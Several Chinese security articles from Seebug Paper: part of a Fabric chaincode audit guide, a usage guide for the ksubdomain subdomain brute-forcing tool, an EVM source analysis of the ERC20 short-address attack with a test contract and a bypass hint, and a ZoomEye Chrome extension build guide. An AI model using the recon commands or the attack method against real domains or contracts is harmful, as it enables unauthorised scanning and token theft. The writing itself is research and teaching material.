defer 关键字可以帮助开发者准确的释放资源,但是仅限于一个函数中。 如果一个全局对象中存储了大量需要手动释放的资源,那么编写释放函数时就很容易漏掉一些释放函数,也有可能造成开发者在某些条件语句中提前进行资源释放。
- 线程安全
很多时候,编译器会做一些神奇的优化,导致意想不到的数据冲突,所以,只要满足“同时有多个线程访问同一段内存,且其中至少有一个线程的操作是写操作”这一条件,就需要作并发安全方面的处理。
- 内存分配
对于每一个开发者,内存是都需要小心使用的资源,内存管理不慎极容易出现的OOM(OutOfMemoryError),内存泄露最终会导致内存溢出,由于系统中的内存是有限的,如果过度占用资源而不及时释放,最后会导致内存不足,从而无法给所需要存储的数据提供足够的内存,从而导致内存溢出。导致内存溢出也可能是由于在给数据分配大小时没有根据实际要求分配,最后导致分配的内存无法满足数据的需求,从而导致内存溢出。
12var detailsID int = len(assetTransferInput.ID)assetAsBytes := make([]int, detailsID)如上代码,
assetTransferInput.ID
为用户可控参数,如果传入该参数的值过大,则make内存分配可能导致内存溢出。- 冗余代码
有时候一段代码从功能上、甚至效率上来讲都没有问题,但从可读性和可维护性来讲,可优化的地方显而易见。特别是在需要消耗gas执行代码逻辑的合约中。
123456if len(assetTransferInput.ID) < 0 {return fmt.Errorf("assetID field must be a non-empty")}if len(assetTransferInput.ID) == 0 {return fmt.Errorf("assetID field must be a non-empty")}运行时安全
- 整数溢出
不管使用的何种虚拟机执行合约,各类整数类型都存在对应的存储宽度,当试图保存超过该范围的数据时,有符号数就会发生整数溢出。
涉及无符号整数的计算不会产生溢出,而是当数值超过无符号整数的取值范围时会发生回绕。如:无符号整数的最大值加1会返回0,而无符号整数最小值减1则会返回该类型的最大值。当无符号整数回绕产生一个最大值时,如果数据用于如 []byte(string),string([]byte) 类的内存拷贝函数,则会复制一个巨大的数据,可能导致错误或者破坏堆栈。除此之外,无符号整数回绕最可能被利用的情况之一是用于内存的分配,如使用 make() 函数进行内存分配时,当 make() 函数的参数产生回绕时,可能为0或者是一个最大值,从而导致0长度的内存分配或者内存分配失败。
智能合约中GetAssetPrice函数用于返回当前计算的差价,第228可知,
gas + rebate
可能发生溢出,uint16表示的最大整数为65535,即大于这个数将发生无符号回绕问题:1234567var gas uint16 = uint16(65535)var rebate uint16 = uint16(1)fmt.Println(gas + rebate) // 0var gas1 uint16 = uint16(65535)var rebate2 uint16 = uint16(2)fmt.Println(gas1 + rebate2) // 1- 除数为零
代码基本算数运算过程中,当出现除数为零的错误时,通常会导致程序崩溃和拒绝服务漏洞。
在
CreateTypeAsset
函数的第64行,通过传入参数appraisedValue
来计算接收资产类型值,实际上,当传入参数appraisedValue
等于17时,将发生除零风险问题。- 忽略返回值
一些函数具有返回值且返回值用于判断函数执行的行为,如判断函数是否执行成功,因此需要对函数的返回值进行相应的判断,以
strconv.Atoi
函数为例,其原型为:func Atoi(s string) (int, error)
如果函数执行成功,则返回第一个参数 int;如果发生错误,则返回 error,如果没有对函数返回值进行检测,那么当读取发生错误时,则可能因为忽略异常和错误情况导致允许攻击者引入意料之外的行为。- 空指针引用
指针在使用前需要进行健壮性检查,从而避免对空指针进行解引用操作。试图通过空指针对数据进行访问,会导致运行时错误。当程序试图解引用一个期望非空但是实际为空的指针时,会发生空指针解引用错误。对空指针的解引用会导致未定义的行为。在很多平台上,解引用空指针可能会导致程序异常终止或拒绝服务。如:在 Linux 系统中访问空指针会产生 Segmentation fault 的错误。
1234567891011121314func (s *AssetPrivateDetails) verifyAgreement(ctx contractapi.TransactionContextInterface, assetID string, owner string, buyerMSP string) *Asset {....err = ctx.GetStub().PutPrivateData(assetCollection, transferAgreeKey, []byte(clientID))if err != nil {fmt.Printf("failed to put asset bid: %v\n", err)return nil}}// Verify transfer details and transfer ownerasset := s.verifyAgreement(ctx, assetTransferInput.ID, asset.Owner, assetTransferInput.BuyerMSP)var detailsID int = len(asset.ID)- 越界访问
越界访问是代码语言中常见的缺陷,它并不一定会造成编译错误,在编译阶段很难发现这类问题,导致的后果也不确定。当出现越界时,由于无法得知被访问空间存储的内容,所以会产生不确定的行为,可能是程序崩溃、运算结果非预期。
系统机制问题
- 全局变量唯一性
全局变量不会保存在数据库中,而是存储于单个节点,如果此类节点发生故障或重启时,可能会导致该全局变量值不再与其他节点保持一致,影响节点交易。因此,从数据库读取、写入或从合约返回的数据不应依赖于全局状态变量。
- 不确定性因素
合约变量的生成如果依赖于不确定因素(如:本节点时间戳)或者某个未在账本中持久化的变量,那么可能会因为各节点该变量的读写集不一样,导致交易验证不通过。
- 访问外部资源
合约访问外部资源时,如第三方库,这些第三方库代码本身可能存在一些安全隐患。引入第三方库代码可能会暴露合约未预期的安全隐患,影响链码业务逻辑。
业务逻辑安全
- 输入参数检查不到位
在编写智能合约时,开发者需要对每个函数参数进行合法性,预期性检查,即需要保证每个参数符合合约的实际应用场景,对输入参数检查不到位往往会导致非预期的结果。如近期爆出的
Filecoin测试网
代码中的严重漏洞,原因是transfer
函数中对转账双方from, to
地址检查不到位,导致了FIL无限增发。12345678910111213141516171819202122232425262728293031### Beforefunc (vm *VM) transfer(from, to address.Address, amt types.BigInt) aerrors.ActorError {if from == to {return nil}...}### Afterfunc (vm *VM) transfer(from, to address.Address, amt types.BigInt) aerrors.ActorError {if from == to {return nil}fromID, err := vm.cstate.LookupID(from)if err != nil {return aerrors.Fatalf("transfer failed when resolving sender address: %s", err)}toID, err := vm.cstate.LookupID(to)if err != nil {return aerrors.Fatalf("transfer failed when resolving receiver address: %s", err)}if fromID == toID {return nil}...}- 函数权限失配
Fabrci智能合约go代码实现中是根据首字母的大小写来确定可以访问的权限。如果方法名首字母大写,则可以被其他的包访问;如果首字母小写,则只能在本包中使用。因此,对于一些敏感操作的内部函数,应尽量保证方法名采用首字母小写开头,防止被外部恶意调用。
- 异常处理问题
通常每个函数调用结束后会返回相应的返回参数,错误码,如果未认真检查错误码值而直接使用其返回参数,可能导致越界访问,空指针引用等安全隐患。
- 外部合约调用引入安全隐患
在某些业务场景中,智能合约代码可能引入其他智能合约,这些未经安全检查的合约代码可能存在一些未预期的安全隐患,进而影响链码业务本身的逻辑。
总结
联盟链的发展目前还处于项目落地初期阶段,对于联盟链平台上的智能合约开发,项目方应该强化对智能合约开发者的安全培训,简化智能合约的设计,做到功能与安全的平衡,严格执行智能合约代码安全审计(自评/项目组review/三方审计)
在联盟链应用落地上,需要逐步推进,从简单到复杂,在项目开始阶段,需要设置适当的权限以防发生黑天鹅事件。
REF
[1] Hyperledger Fabric 链码
https://blog.51cto.com/clovemfong/2149953
[2] fabric-samples
https://github.com/hyperledger/fabric-samples
[3] Fabric2.0,使用test-network
https://blog.csdn.net/zekdot/article/details/106977734
[4] 使用V8和Go实现的安全TypeScript运行时
https://php.ctolib.com/ry-deno.html
[5] Hyperledger fabric
https://github.com/hyperledger/fabric
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1317/
-
ksubdomain 无状态域名爆破工具
作者:w7ay@知道创宇404实验室
时间:2020年9月2日前言
在渗透测试信息中我们可能需要尽可能收集域名来确定资产边界。
在写自动化渗透工具的时候苦与没有好用的子域名爆破工具,于是自己就写了一个。
Ksubdomain是一个域名爆破/验证工具,它使用Go编写,支持在Windows/Linux/Mac上运行,在Mac和Windows上最大发包速度在30w/s,linux上为160w/s的速度。
总的来说,ksubdomain能爆破/验证域名,并且快和准确。
什么是无状态
无状态连接是指无需关心TCP,UDP协议状态,不占用系统协议栈 资源,忘记syn,ack,fin,timewait ,不进行会话组包。在实现上也有可能需要把必要的信息存放在数据包本身中。如13年曾以44分钟扫描完全部互联网zmap,之后出现的massscan, 都使用了这种无状态技术,扫描速度比以往任何工具都有质的提升,后者更是提出了3分钟扫完互联网的极速。
zmap/masscan都是基于tcp协议来扫描端口的(虽然它们也有udp扫描模块),相比它们,基于无状态来进行DNS爆破更加容易,我们只需要发送一个udp包,等待DNS服务器的应答即可。
目前大部分开源的域名爆破工具都是基于系统socket发包,不仅会占用系统网络,让系统网络阻塞,且速度始终会有限制。
ksubdomain使用pcap发包和接收数据,会直接将数据包发送至网卡,不经过系统,使速度大大提升。
ksubdomain提供了一个
-test
参数,使用它可以测试本地最大发包数,使用ksubdomain -test
在Mac下的运行结果,每秒30w左右
发包的多少还和网络相关,ksubdomain将网络参数简化为了
-b
参数,输入你的网络下载速度如-b 5m
,ksubdomain就会自动限制发包速度。状态表
由于又是udp协议,数据包丢失的情况很多,所以ksubdomain在程序中建立了“状态表”,用于检测数据包的状态,当数据包发送时,会记录下状态,当收到了这个数据包的回应时,会从状态表去除,如果一段时间发现数据包没有动作,便可以认为这个数据包已经丢失了,于是会进行重发,当重发到达一定次数时,就可以舍弃该数据包了。
上面说ksubdomain是无状态发包,如何建立确认状态呢?
根据DNS协议和UDP协议的一些特点,DNS协议中ID字段,UDP协议中SrcPort字段可以携带数据,在我们收到返回包时,这些字段的数据不会改变。所以利用这些字段的值来确认这个包是我们需要的,并且找到状态表中这个包的位置。
通过状态表基本可以解决漏包,可以让准确度达到一个满意的范围,但与此同时会发送更多的数据包和消耗一些时间来循环判断。
通过
time ./ksubdomain -d baidu.com -b 1m
使用ksubdomain内置的字典跑一遍baidu.com域名,大概10w字典在2分钟左右跑完,并找到1200多子域名。Useage
从releases下载二进制文件。
在linux下,还需要安装
libpcap-dev
,在Windows下需要安装WinPcap
,mac下可以直接使用。12345678910111213141516171819202122232425262728293031323334_ __ _____ _ _ _| |/ / / ____| | | | | (_)| ' / | (___ _ _| |__ __| | ___ _ __ ___ __ _ _ _ __| < \___ \| | | | '_ \ / _| |/ _ \| '_ _ \ / _ | | '_ \| . \ ____) | |_| | |_) | (_| | (_) | | | | | | (_| | | | | ||_|\_\ |_____/ \__,_|_.__/ \__,_|\___/|_| |_| |_|\__,_|_|_| |_|Usage of ./ksubdomain:-b string宽带的下行速度,可以5M,5K,5G (default "1M")-d string爆破域名-dl string从文件中读取爆破域名-e int默认网络设备ID,默认-1,如果有多个网络设备会在命令行中选择 (default -1)-f string字典路径,-d下文件为子域名字典,-verify下文件为需要验证的域名-l int爆破域名层级,默认爆破一级域名 (default 1)-o string输出文件路径-s stringresolvers文件路径,默认使用内置DNS-silent使用后屏幕将不会输出结果-skip-wild跳过泛解析的域名-test测试本地最大发包数-ttl导出格式中包含TTL选项-verify验证模式一些常用命令
1234567891011121314151617使用内置字典爆破ksubdomain -d seebug.org使用字典爆破域名ksubdomain -d seebug.org -f subdomains.dict字典里都是域名,可使用验证模式ksubdomain -f dns.txt -verify爆破三级域名ksubdomain -d seebug.org -l 2通过管道爆破echo "seebug.org"|ksubdomain通过管道验证域名echo "paper.seebug.org"|ksubdomain -verify管道操作
借助知名的
subfinder
,httpx
等工具,可以用管道结合在一起配合工作。1./subfinder -d baidu.com -silent|./ksubdomain -verify -silent|./httpx -title -content-length -status-codesubfinder 通过各种搜索引擎获取域名
ksubdomain 验证域名
httpx http请求获得数据,验证存活
Knownsec 404 Team星链计划
ksubdomain 是Knownsec 404 Team星链计划中的一员。
“404星链计划”是知道创宇404实验室于2020年8月开始的计划,旨在通过开源或者开放的方式,长期维护并推进涉及安全研究各个领域不同环节的工具化,就像星链一样,将立足于不同安全领域、不同安全环节的研究人员链接起来。
其中不仅限于突破安全壁垒的大型工具,也会包括涉及到优化日常使用体验的各种小工具,除了404本身的工具开放以外,也会不断收集安全研究、渗透测试过程中的痛点,希望能通过“404星链计划”改善安全圈内工具庞杂、水平层次不齐、开源无人维护的多种问题,营造一个更好更开放的安全工具促进与交流的技术氛围。
开源地址
ksubdomain完全开源,任何人可以在此基础上修改或提交代码。
GitHub:https://github.com/knownsec/ksubdomain
欢迎加入讨论群, 微信群有两种添加方式:
(1) 联系Seebug的各位小伙伴拉你入群,如:
(2) 扫描以下二维码添加微信,添加请备注“星链计划”,我们会把大家拉到星链计划交流群中。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1325/
-
以太坊安全之 EVM 与短地址攻击
作者:昏鸦@知道创宇404区块链安全研究团队
时间:2020年8月18日前言
以太坊(Ethereum)是一个开源的有智能合约功能的公共区块链平台,通过其专用加密货币以太币(ETH)提供去中心化的以太坊虚拟机(EVM)来处理点对点合约。EVM(Ethereum Virtual Machine),以太坊虚拟机的简称,是以太坊的核心之一。智能合约的创建和执行都由EVM来完成,简单来说,EVM是一个状态执行的机器,输入是solidity编译后的二进制指令和节点的状态数据,输出是节点状态的改变。
以太坊短地址攻击,最早由Golem团队于2017年4月提出,是由于底层EVM的设计缺陷导致的漏洞。ERC20代币标准定义的转账函数如下:
function transfer(address to, uint256 value) public returns (bool success)
如果传入的
to
是末端缺省的短地址,EVM会将后面字节补足地址,而最后的value
值不足则用0填充,导致实际转出的代币数值倍增。本文从以太坊源码的角度分析EVM底层是如何处理执行智能合约字节码的,并简要分析短地址攻击的原理。
EVM源码分析
evm.go
EVM的源码位于
go-ethereum/core/vm/
目录下,在evm.go
中定义了EVM结构体,并实现了EVM.Call
、EVM.CallCode
、EVM.DelegateCall
、EVM.StaticCall
四种方法来调用智能合约,EVM.Call
实现了基本的合约调用的功能,后面三种方法与EVM.Call
略有区别,但最终都调用run
函数来解析执行智能合约EVM.Call
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172// Call executes the contract associated with the addr with the given input as// parameters. It also handles any necessary value transfer required and takes// the necessary steps to create accounts and reverses the state in case of an// execution error or failed value transfer.//hunya// 基本的合约调用func (evm *EVM) Call(caller ContractRef, addr common.Address, input []byte, gas uint64, value *big.Int) (ret []byte, leftOverGas uint64, err error) {if evm.vmConfig.NoRecursion && evm.depth > 0 {return nil, gas, nil}// Fail if we're trying to execute above the call depth limitif evm.depth > int(params.CallCreateDepth) {return nil, gas, ErrDepth}// Fail if we're trying to transfer more than the available balanceif !evm.Context.CanTransfer(evm.StateDB, caller.Address(), value) {return nil, gas, ErrInsufficientBalance}var (to = AccountRef(addr)snapshot = evm.StateDB.Snapshot())if !evm.StateDB.Exist(addr) {precompiles := PrecompiledContractsHomesteadif evm.chainRules.IsByzantium {precompiles = PrecompiledContractsByzantium}if evm.chainRules.IsIstanbul {precompiles = PrecompiledContractsIstanbul}if precompiles[addr] == nil && evm.chainRules.IsEIP158 && value.Sign() == 0 {// Calling a non existing account, don't do anything, but ping the tracerif evm.vmConfig.Debug && evm.depth == 0 {evm.vmConfig.Tracer.CaptureStart(caller.Address(), addr, false, input, gas, value)evm.vmConfig.Tracer.CaptureEnd(ret, 0, 0, nil)}return nil, gas, nil}evm.StateDB.CreateAccount(addr)}evm.Transfer(evm.StateDB, caller.Address(), to.Address(), value)// Initialise a new contract and set the code that is to be used by the EVM.// The contract is a scoped environment for this execution context only.contract := NewContract(caller, to, value, gas)contract.SetCallCode(&addr, evm.StateDB.GetCodeHash(addr), evm.StateDB.GetCode(addr))// Even if the account has no code, we need to continue because it might be a precompilestart := time.Now()// Capture the tracer start/end events in debug mode// debug模式会捕获tracer的start/end事件if evm.vmConfig.Debug && evm.depth == 0 {evm.vmConfig.Tracer.CaptureStart(caller.Address(), addr, false, input, gas, value)defer func() { // Lazy evaluation of the parametersevm.vmConfig.Tracer.CaptureEnd(ret, gas-contract.Gas, time.Since(start), err)}()}ret, err = run(evm, contract, input, false)//hunya// 调用run函数执行合约// When an error was returned by the EVM or when setting the creation code// above we revert to the snapshot and consume any gas remaining. Additionally// when we're in homestead this also counts for code storage gas errors.if err != nil {evm.StateDB.RevertToSnapshot(snapshot)if err != errExecutionReverted {contract.UseGas(contract.Gas)}}return ret, contract.Gas, err}EVM.CallCode
12345678910111213141516171819202122232425262728293031323334353637383940// CallCode executes the contract associated with the addr with the given input// as parameters. It also handles any necessary value transfer required and takes// the necessary steps to create accounts and reverses the state in case of an// execution error or failed value transfer.//// CallCode differs from Call in the sense that it executes the given address'// code with the caller as context.//hunya// 类似solidity中的call函数,调用外部合约,执行上下文在被调用合约中func (evm *EVM) CallCode(caller ContractRef, addr common.Address, input []byte, gas uint64, value *big.Int) (ret []byte, leftOverGas uint64, err error) {if evm.vmConfig.NoRecursion && evm.depth > 0 {return nil, gas, nil}// Fail if we're trying to execute above the call depth limitif evm.depth > int(params.CallCreateDepth) {return nil, gas, ErrDepth}// Fail if we're trying to transfer more than the available balanceif !evm.CanTransfer(evm.StateDB, caller.Address(), value) {return nil, gas, ErrInsufficientBalance}var (snapshot = evm.StateDB.Snapshot()to = AccountRef(caller.Address()))// Initialise a new contract and set the code that is to be used by the EVM.// The contract is a scoped environment for this execution context only.contract := NewContract(caller, to, value, gas)contract.SetCallCode(&addr, evm.StateDB.GetCodeHash(addr), evm.StateDB.GetCode(addr))ret, err = run(evm, contract, input, false)//hunya// 调用run函数执行合约if err != nil {evm.StateDB.RevertToSnapshot(snapshot)if err != errExecutionReverted {contract.UseGas(contract.Gas)}}return ret, contract.Gas, err}EVM.DelegateCall
123456789101112131415161718192021222324252627282930313233// DelegateCall executes the contract associated with the addr with the given input// as parameters. It reverses the state in case of an execution error.//// DelegateCall differs from CallCode in the sense that it executes the given address'// code with the caller as context and the caller is set to the caller of the caller.//hunya// 类似solidity中的delegatecall函数,调用外部合约,执行上下文在调用合约中func (evm *EVM) DelegateCall(caller ContractRef, addr common.Address, input []byte, gas uint64) (ret []byte, leftOverGas uint64, err error) {if evm.vmConfig.NoRecursion && evm.depth > 0 {return nil, gas, nil}// Fail if we're trying to execute above the call depth limitif evm.depth > int(params.CallCreateDepth) {return nil, gas, ErrDepth}var (snapshot = evm.StateDB.Snapshot()to = AccountRef(caller.Address()))// Initialise a new contract and make initialise the delegate valuescontract := NewContract(caller, to, nil, gas).AsDelegate()contract.SetCallCode(&addr, evm.StateDB.GetCodeHash(addr), evm.StateDB.GetCode(addr))ret, err = run(evm, contract, input, false)//hunya// 调用run函数执行合约if err != nil {evm.StateDB.RevertToSnapshot(snapshot)if err != errExecutionReverted {contract.UseGas(contract.Gas)}}return ret, contract.Gas, err}EVM.StaticCall
1234567891011121314151617181920212223242526272829303132333435363738394041// StaticCall executes the contract associated with the addr with the given input// as parameters while disallowing any modifications to the state during the call.// Opcodes that attempt to perform such modifications will result in exceptions// instead of performing the modifications.//hunya// 与EVM.Call类似,但不允许执行会修改永久存储的数据的指令func (evm *EVM) StaticCall(caller ContractRef, addr common.Address, input []byte, gas uint64) (ret []byte, leftOverGas uint64, err error) {if evm.vmConfig.NoRecursion && evm.depth > 0 {return nil, gas, nil}// Fail if we're trying to execute above the call depth limitif evm.depth > int(params.CallCreateDepth) {return nil, gas, ErrDepth}var (to = AccountRef(addr)snapshot = evm.StateDB.Snapshot())// Initialise a new contract and set the code that is to be used by the EVM.// The contract is a scoped environment for this execution context only.contract := NewContract(caller, to, new(big.Int), gas)contract.SetCallCode(&addr, evm.StateDB.GetCodeHash(addr), evm.StateDB.GetCode(addr))// We do an AddBalance of zero here, just in order to trigger a touch.// This doesn't matter on Mainnet, where all empties are gone at the time of Byzantium,// but is the correct thing to do and matters on other networks, in tests, and potential// future scenariosevm.StateDB.AddBalance(addr, bigZero)// When an error was returned by the EVM or when setting the creation code// above we revert to the snapshot and consume any gas remaining. Additionally// when we're in Homestead this also counts for code storage gas errors.ret, err = run(evm, contract, input, true)//hunya// 调用run函数执行合约if err != nil {evm.StateDB.RevertToSnapshot(snapshot)if err != errExecutionReverted {contract.UseGas(contract.Gas)}}return ret, contract.Gas, err}run
函数前半段是判断是否是以太坊内置预编译的特殊合约,有单独的运行方式后半段则是对于一般的合约调用解释器
interpreter
去执行调用interpreter.go
解释器相关代码在
interpreter.go
中,interpreter
是一个接口,目前仅有EVMInterpreter
这一个具体实现合约经由
EVM.Call
调用Interpreter.Run
来到EVMInpreter.Run
EVMInterpreter
的Run
方法代码较长,其中处理执行合约字节码的主循环如下:大部分代码主要是检查准备运行环境,执行合约字节码的核心代码主要是以下3行
12345op = contract.GetOp(pc)operation := in.cfg.JumpTable[op]......res, err = operation.execute(&pc, in, contract, mem, stack)......interpreter
的主要工作实际上只是通过JumpTable
查找指令,起到一个翻译解析的作用最终的执行是通过调用
operation
对象的execute
方法jump_table.go
operation
的定义位于jump_table.go
中jump_table.go
中还定义了JumpTable
和多种不同的指令集在基本指令集中有三个处理
input
的指令,分别是CALLDATALOAD
、CALLDATASIZE
和CALLDATACOPY
jump_table.go
中的代码同样只是起到解析的功能,提供了指令的查找,定义了每个指令具体的执行函数instructions.go
instructions.go
中是所有指令的具体实现,上述三个函数的具体实现如下:这三个函数的作用分别是从
input
加载参数入栈、获取input
大小、复制input
中的参数到内存我们重点关注
opCallDataLoad
函数是如何处理input
中的参数入栈的opCallDataLoad
函数调用getDataBig
函数,传入contract.Input
、stack.pop()
和big32
,将结果转为big.Int
入栈getDataBig
函数以stack.pop()
栈顶元素作为起始索引,截取input
中big32
大小的数据,然后传入common.RightPadBytes
处理并返回其中涉及到的另外两个函数
math.BigMin
和common.RightPadBytes
如下:123456789101112131415161718//file: go-thereum/common/math/big.gofunc BigMin(x, y *big.Int) *big.Int {if x.Cmp(y) > 0 {return y}return x}//file: go-ethereum/common/bytes.gofunc RightPadBytes(slice []byte, l int) []byte {if l <= len(slice) {return slice}//右填充0x00至l位padded := make([]byte, l)copy(padded, slice)return padded}分析到这里,基本上已经能很明显看到问题所在了
RightPadBytes
函数会将传入的字节切片右填充至l
位长度,而l
是被传入的big32
,即32位长度所以在短地址攻击中,调用的
transfer(address to, uint256 value)
函数,如果to
是低位缺省的地址,由于EVM在处理时是固定截取32位长度的,所以会将value
数值高位补的0算进to
的末端,而在截取value
时由于位数不够32位,则右填充0x00
至32位,最终导致转账的value
指数级增大测试与复现
编写一个简单的合约来测试
1234567891011121314151617181920212223242526272829303132pragma solidity ^0.5.0;contract Test {uint256 internal _totalSupply;mapping(address => uint256) internal _balances;event Transfer(address indexed from, address indexed to, uint256 value);constructor() public {_totalSupply = 1 * 10 ** 18;_balances[msg.sender] = _totalSupply;}function totalSupply() external view returns (uint256) {return _totalSupply;}function balanceOf(address account) external view returns (uint256) {return _balances[account];}function transfer(address to,uint256 value) public returns (bool) {require(to != address(0));require(_balances[msg.sender] >= value);require(_balances[to] + value >= _balances[to]);_balances[msg.sender] -= value;_balances[to] += value;emit Transfer(msg.sender, to, value);}}remix部署,调用
transfer
发起正常的转账input
为0xa9059cbb00000000000000000000000071430fd8c82cc7b991a8455fc6ea5b37a06d393f0000000000000000000000000000000000000000000000000000000000000001
直接尝试短地址攻击,删去转账地址的后两位,会发现并不能通过,remix会直接报错
这是因为
web3.js
做了校验,web3.js
是用户与以太坊节点交互的媒介源码复现
通过源码函数复现如下:
实际复现
至于如何完成实际场景的攻击,可以参考文末的链接[1],利用
web3.eth.sendSignedTransaction
绕过限制实际上,
web3.js
做的校验仅限于显式传入转账地址的函数,如web3.eth.sendTransaction
这种,像web3.eth.sendSignedTransaction
、web3.eth.sendRawTransaction
这种传入的参数是序列化后的数据的就校验不了,是可以完成短地址攻击的,感兴趣的可以自己尝试,这里就不多写了PS:文中分析的
go-ethereum
源码版本是commit-fdff182
,源码与最新版有些出入,但最新版的也未修复这种缺陷(可能官方不认为这是缺陷?),分析思路依然可以沿用思考
以太坊底层EVM并没有修复短地址攻击的这么一个缺陷,而是直接在
web3.js
里对地址做的校验,目前各种合约或多或少也做了校验,所以虽然EVM底层可以复现,但实际场景中问题应该不大,但如果是开放RPC的节点可能还是会存在这种风险另外还有一个点,按底层EVM的这种机制,易受攻击的应该不仅仅是
transfer(address to, uint256 value)
这个点,只是因为这个函数是ERC20代币标准,而且参数的设计恰好能导致涉及金额的短地址攻击,并且特殊的地址易构造,所以这个函数常作为短地址攻击的典型。在其他的一些非代币合约,如竞猜、游戏类的合约中,一些非转账类的事务处理函数中,如果不对类似地址这种的参数做长度校验,可能也存在类似短地址攻击的风险,也或者并不局限于地址,可能还有其他的利用方式还没挖掘出来。参考
[1] 以太坊短地址攻击详解
[2] 以太坊源码解析:evm
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1296/
-
从 0 开始入门 Chrome Ext 安全(番外篇) — ZoomEye Tools
作者:LoRexxar@知道创宇404实验室
时间:2020年01月17日
英文版本: https://paper.seebug.org/1116/
系列文章:
1.《从 0 开始入门 Chrome Ext 安全(一) -- 了解一个 Chrome Ext》
2.《从 0 开始入门 Chrome Ext 安全(二) -- 安全的 Chrome Ext》在经历了两次对Chrome Ext安全的深入研究之后,这期我们先把Chrome插件安全的问题放下来,这期我们讲一个关于Chrome Ext的番外篇 -- Zoomeye Tools.
链接为:https://chrome.google.com/webstore/detail/zoomeyetools/bdoaeiibkccgkbjbmmmoemghacnkbklj
这篇文章让我们换一个角度,从开发一个插件开始,如何去审视chrome不同层级之间的问题。
这里我们主要的目的是完成一个ZoomEye的辅助插件。
核心与功能设计
在ZoomEye Tools中,我们主要加入了一下针对ZoomEye的辅助性功能,在设计ZoomEye Tools之前,首先我们需要思考我们需要什么样的功能。
这里我们需要需要实现的是两个大功能,
1、首先需要完成一个简易版本的ZoomEye界面,用于显示当前域对应ip的搜索结果。
2、我们会完成一些ZoomEye的辅助小功能,比如说一键复制搜索结果的左右ip等...这里我们分别研究这两个功能所需要的部分:
ZoomEye minitools
关于ZoomEye的一些辅助小功能,这里我们首先拿一个需求来举例子,我们需要一个能够复制ZoomEye页面内所有ip的功能,能便于方便的写脚本或者复制出来使用。
在开始之前,我们首先得明确chrome插件中不同层级之间的权限体系和通信方式:
在第一篇文章中我曾着重讲过这部分内容。
我们需要完成的这个功能,可以简单量化为下面的流程:
12345用户点击浏览器插件的功能-->浏览器插件读取当前Zoomeye页面的内容-->解析其中内容并提取其中的内容并按照格式写入剪切板中当然这是人类的思维,结合chrome插件的权限体系和通信方式,我们需要把每一部分拆解为相应的解决方案。
- 用户点击浏览器插件的功能
当用户点击浏览器插件的图标时,将会展示popup.html中的功能,并执行页面中相应加的js代码。
- 浏览器插件读取当前ZoomEye页面的内容
由于popup script没有权限读取页面内容,所以这里我们必须通过
chrome.tabs.sendMessage
来沟通content script,通过content script来读取页面内容。- 解析其中内容并提取其中的内容并按照格式写入剪切板中
在content script读取到页面内容之后,需要通过
sendResponse
反馈数据。当popup收到数据之后,我们需要通过特殊的技巧把数据写入剪切板
123456789101112function copytext(text){var w = document.createElement('textarea');w.value = text;document.body.appendChild(w);w.select();document.execCommand('Copy');w.style.display = 'none';return;}这里我们是通过新建了textarea标签并选中其内容,然后触发copy指令来完成。
整体流程大致如下
ZoomEye preview
与minitools的功能不同,要完成ZoomEye preview首先我们遇到的第一个问题是ZoomEye本身的鉴权体系。
在ZoomEye的设计中,大部分的搜索结果都需要登录之后使用,而且其相应的多种请求api都是通过jwt来做验证。
而这个jwt token会在登陆期间内储存在浏览器的local storage中。
我们可以简单的把架构画成这个样子
在继续设计代码逻辑之前,我们首先必须确定逻辑流程,我们仍然把流程量化为下面的步骤:
12345678910111213用户点击ZoomEye tools插件-->插件检查数据之后确认未登录,返回需要登录-->用户点击按钮跳转登录界面登录-->插件获取凭证之后储存-->用户打开网站之后点击插件-->插件通过凭据以及请求的host来获取ZoomEye数据-->将部分数据反馈到页面中紧接着我们配合chrome插件体系的逻辑,把前面步骤转化为程序逻辑流程。
- 用户点击ZoomEye tools插件
插件将会加载popup.html页面并执行相应的js代码。
- 插件检查数据之后确认未登录,返回需要登录
插件将获取储存在
chrome.storage
的Zoomeye token,然后请求ZoomEye.org/user
判断登录凭据是否有效。如果无效,则会在popup.html显示need login。并隐藏其他的div窗口。- 用户点击按钮跳转登录界面登录
当用户点击按钮之后,浏览器会直接打开
https://sso.telnet404.com/cas/login?service=https%3A%2F%2Fwww.zoomeye.org%2Flogin
如果浏览器当前在登录状态时,则会跳转回ZoomEye并将相应的数据写到localStorage里。
- 插件获取凭证之后储存
由于前后端的操作分离,所有bg script需要一个明显的标志来提示需要获取浏览器前端的登录凭证,我把这个标识为定为了当tab变化时,域属于ZoomEye.org且未登录时,这时候bg script会使用
chrome.tabs.executeScript
来使前端完成获取localStorage并储存进chrome.storage.这样一来,插件就拿到了最关键的jwt token
- 用户打开网站之后点击插件
在完成了登录问题之后,用户就可以正常使用preview功能了。
当用户打开网站之后,为了减少数据加载的等待时间,bg script会直接开始获取数据。
- 插件通过凭据以及请求的host来获取ZoomEye数据
后端bg script 通过判断tab状态变化,来启发获取数据的事件,插件会通过前面获得的账号凭据来请求
https://www.zoomeye.org/searchDetail?type=host&title=
并解析json,来获取相应的ip数据。- 将部分数据反馈到页面中
当用户点击插件时,popup script会检查当前tab的url和后端全局变量中的数据是否一致,然后通过
1bg = chrome.extension.getBackgroundPage();来获取到bg的全局变量。然后将数据写入页面中。
整个流程的架构如下:
完成插件
在完成架构设计之后,我们只要遵守好插件不同层级之间的各种权限体系,就可以完成基础的设计,配合我们的功能,我们生成的manifest.json如下
1234567891011121314151617181920212223242526272829303132333435363738{"name": "Zoomeye Tools","version": "0.1.0","manifest_version": 2,"description": "Zoomeye Tools provides a variety of functions to assist the use of Zoomeye, including a proview host and many other functions","icons": {"16": "img/16_16.png","48": "img/48_48.png","128": "img/128_128.png"},"background": {"scripts": ["/js/jquery-3.4.1.js", "js/background.js"]},"content_scripts": [{"matches": ["*://*.zoomeye.org/*"],"js": ["js/contentScript.js"],"run_at": "document_end"}],"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';","browser_action": {"default_icon": {"19": "img/19_19.png","38": "img/38_38.png"},"default_title": "Zoomeye Tools","default_popup": "html/popup.html"},"permissions": ["clipboardWrite","tabs","storage","activeTab","https://api.zoomeye.org/","https://*.zoomeye.org/"]}上传插件到chrome store
在chrome的某一个版本之后,chrome就不再允许自签名的插件安装了,如果想要在chrome上安装,那就必须花费5美金注册为chrome插件开发者。
